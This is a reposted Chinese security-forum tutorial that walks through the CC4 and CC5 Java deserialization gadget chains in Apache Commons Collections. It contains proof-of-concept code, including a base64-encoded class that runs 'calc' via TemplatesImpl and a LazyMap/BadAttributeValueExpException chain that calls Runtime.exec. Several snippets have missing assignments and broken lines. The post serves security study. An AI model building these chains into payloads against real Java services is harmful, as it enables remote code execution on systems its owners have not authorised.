安全矩阵

 找回密码
 立即注册
搜索
查看: 2181|回复: 0

java安全 cc4与cc5

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-4-10 10:38:19 | 显示全部楼层 |阅读模式
java安全 cc4与cc5原创 Met32 moonsec

2022-04-09 10:00

转载自https://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653578535&idx=1&sn=4a3d2f05fe0ad2a19a65b6a42f4d46dd&chksm=811b7365b66cfa7318e50d8148ca9321a9583205822cb4ea9d60c8ec725133770cfbf9ab81ac&mpshare=1&scene=23&srcid=0409eZ9EL1Ws62uwXWpFzAYC&sharer_sharetime=1649470650475&sharer_shareid=ee83a55e0b955b99e8343acbb61916b7#rd


java安全 cc4与cc5

本文笔者带大家分析CC4与CC5,有了前几篇文章的基础,所以运用前面的知识,就可以很轻松的举一 反三
CC4与前面讲的CC2链基本差不多

pom依赖

  1. <dependency>
  2.     <groupId>org.apache.commons</groupId>
  3.     <artifactId>commons-collections4</artifactId>
  4.     <version>4.0</version>
  5. </dependency>
复制代码



CC4可以说是CC2与CC3的结合版本,老样子,贴出全部代码在分段分析。
​​​​​​​
  1. public class CC4 {
  2. public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, IOException, ClassNotFoundException {
  3. byte[] bytes =
  4. Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2Fw YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5l TnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv eHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNv bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEA Bjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMM AB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUv QWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl dEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUB ABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By b2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEA DAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgAC
  5. AAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg== ");
  6. TemplatesImpl templates
  7. setField(templates,"_bytecodes",new byte[][]{bytes});
  8. setField(templates,"_name","test");
  9. setField(templates,"_tfactory",new TransformerFactoryImpl());
  10. templates.newTransformer();
  11. Transformer[] transformers = new Transformer[]{
  12. new ConstantTransformer(TrAXFilter.class),
  13. new InstantiateTransformer(new Class[]{Templates.class},new Object[]
  14. {templates})
  15. };
  16. ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]
  17. {});
  18. TransformingComparator transformingComparator = new
  19. TransformingComparator(chainedTransformer);



  20. new PriorityQueue(1);
  21. queue.add(1);
  22. queue.add(2);
  23. ChainedTransformer.class.getDeclaredField("iTransformers");
  24. field.setAccessible(true);
  25. field.set(chainedTransformer,transformers);
  26. //序列化
  27. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
  28. objectOutputStream.writeObject(queue);
  29. objectOutputStream.close();
  30. //反序列化
  31. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.bin"));
  32. objectInputStream.readObject();
  33. objectInputStream.close();
  34. }
  35. public static void setField(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
  36. obj.getClass().getDeclaredField(name);
  37. field.setAccessible(true);
  38. field.set(obj,value);

  39. }
复制代码

首先来复习一下TemplatesImpl类做了什么?

跟进TemplatesImpl#newTransformer(),发现其调用了getTransletInstance()。




跟进getTransletInstance(),发现了对_null进行判断是否为空

所以才会有了前面通过反射修改name的值,才能绕过该if
  1. setField(templates,"_name","123");
复制代码





之后跟进defineTransletClasses()

defineTransletClasses()方法如下(注意这里最开始有一个if(_bytecodes==0) 所以需要绕过),成功会调用到TransletClassLoader#defineClass()方法

而TransletClassLoader#defineClass()在传入字节码之后,会返回class对象为_class



之后在下方判断,读取的字节码是否继承了AbstractTranslet(父类),如果继承了,并最终会给_transletIndex赋为0



最终通过_class[0].newInstance()调用


接下来简单分析下方这些代码。
​​​​​​​
  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(TrAXFilter.class),
  3. new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
  4. };
  5. ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
  6. TransformingComparator transformingComparator = new
  7. TransformingComparator(chainedTransformer);
  8. new PriorityQueue(1,transformingComparator);
  9. queue.add(1);
  10. queue.add(2);
复制代码


在TrAXFilter的有参构造,就会调用到Templates中并执行命令


PriorityQueue的话其实还是CC2中的逻辑。学过的小伙伴就当是复习了,没有学过的要认真听讲~ 在PriorityQueue初始化过程中,可以看到会将transformingComparator进行传入到comparator中



在readObject的时候,可以看到将反序列化的数据给了queue,之后调用了heapify()方法


在heapify中有一个循环,size移位之后-1如果为0的话,则会进入siftDown方法


而如何控制size呢?其实这就是该类在执行add方法的时候,就会使得size++,看到这里相信大家就清楚了为什么我 要执行两次add。


siftDown方法如下,x就是传入的反序列化数据。而进入之后有一层判断,comparator其实就是初始 化时传入的transformingComparator。所以会进入到siftDownUsingComparator这个方法


再次跟进该方法,在if处调用了transformingComparator.compare方法


而执行到transformingComparator.compare的时候,可以发现会执行transform方法。而该transformer成员就 是在初始化传入的
  1. TransformingComparator transformingComparator = new
  2. TransformingComparator(chainedTransformer);
复制代码


其实与CC2非常的相似了,只是在Transformer初始化的时候,改成了TrAXFilter来执行命令,至此CC4轻松拿捏!
-----------分割线-----------
现在与刚开始学CC链不同了,是不是觉得现在非常的简单,要趁热打铁,来顺带把CC5学了

CC5 pom文件依赖​​​​​​​
  1. <dependency>
  2. <groupId>commons-collections</groupId>
  3. <artifactId>commons-collections</artifactId>
  4. <version>3.1</version>
  5. </dependency>
复制代码

代码如下,用到了一个新的类 就是BadAttributeValueExpException
​​​​​​​
  1. Transformer[] transformers = new Transformer[] {
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
  4. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
  5. new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
  6. };
  7. new ChainedTransformer(transformers);
  8. Map innerMap = new HashMap();
  9. LazyMap.decorate(innerMap, transformerChain);
  10. new TiedMapEntry(outerMap,"keykey");
  11.    
  12. new BadAttributeValueExpException(1);

  13. BadAttributeValueExpException.class.getDeclaredField("val");



  14. field.setAccessible(true);
  15. field.set(POC,tiedmap);
  16. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
  17. objectOutputStream.writeObject(POC);
  18. objectOutputStream.close();
  19. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc5.bin"));
  20. objectInputStream.readObject();
  21. objectInputStream.close();
复制代码

利用链贴一下:​​​​​​​

  1. ObjectInputStream.readObject()
  2.     BadAttributeValueExpException .readObject()
  3.         TiedMapEntry.toString()
  4.             LazyMap.get()
  5.                 ChainedTransformer .transform()
  6.                     ConstantTransformer .transform()
  7.                     InvokerTransformer .transform()
  8.                         Method .invoke()
  9.                             Class .getMethod()
  10.                     InvokerTransformer .transform()
  11.                         Method .invoke()
  12.                             Runtime .getRuntime()
  13.                     InvokerTransformer .transform()
  14.                         Method .invoke()
  15.                             Runtime .exec()
复制代码

从LazyMap中分析吧,在将transformerChain传入之后,将其存到了factory中
​​​​​​​
  1. Transformer transformerChain new ChainedTransformer(transformers);
  2. Map innerMap =new HashMap();
  3. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
复制代码



而稍后就会执行到factory.transform方法中,从而执行命令

又是一个经典问题出现,谁会调用到LazyMap.get呢?
在TiedMapEntry初始化会将LazyMap作为第一个参数传入

  1. TiedMapEntry tiedmap =    new TiedMapEntry(outerMap,"keykey");
复制代码


而利用链中写到了,TiedMapEntry.toString(),其实toString调用了getValue(),从而调用到LazyMap.get方法
TiedMapEntry.toString方法如下
​​​​​​​
  1. public String toString() {
  2.     return this.getKey()+"="+this.getValue();
复制代码




现在又一个问题,谁会调用TiedMapEntry.toString()?
这里也不卖关子了,根据上面的调用链,直接放出BadAttributeValueExpException.readObject方法 在第三行,获取val之后,存到了valObj临时变量中,并最终在17行valObj.toString()了。
​​​​​​​
  1. private void readObject(ObjectInputStream ois) throws IOException,
  2. ClassNotFoundException {
  3. ObjectInputStream.GetField gf
  4. gf.get("val", null);
  5. if (valObj == null) {
  6. null;
  7. } else if (valObj instanceof String) {
  8. val= valObj;
  9. } else if (System.getSecurityManager() == null
  10. || valObj instanceof Long
  11. || valObj instanceof Integer
  12. || valObj instanceof Float
  13. || valObj instanceof Double
  14. || valObj instanceof Byte
  15. || valObj instanceof Short
  16. || valObj instanceof Boolean) {
  17. valObj.toString();
  18. } else { // the serialized object is from a version without JDK-8019292 fix
  19. System.identityHashCode(valObj)
  20. }
复制代码


现在问题出来了,val是个啥东西呢?其实就是该类的一个私有属性。


所以通过反射修改为TiedMapEntry即可,这样在readObject就会执行到TiedMapEntry.toString方法​​​​​​​

  1. BadAttributeValueExpException.class.getDeclaredField("val");
  2. field.setAccessible(true);
  3. field.set(POC,tiedmap);
复制代码


但是这里有一个IDEA的小BUG,每次到LazyMap.get方法的时候,此if会跳到else中,如果将前面的断点全部取消, 并在if里面下断,即可成功到达。(也是跟一位师傅学的)


并最终执行




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 16:10 , Processed in 0.013346 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表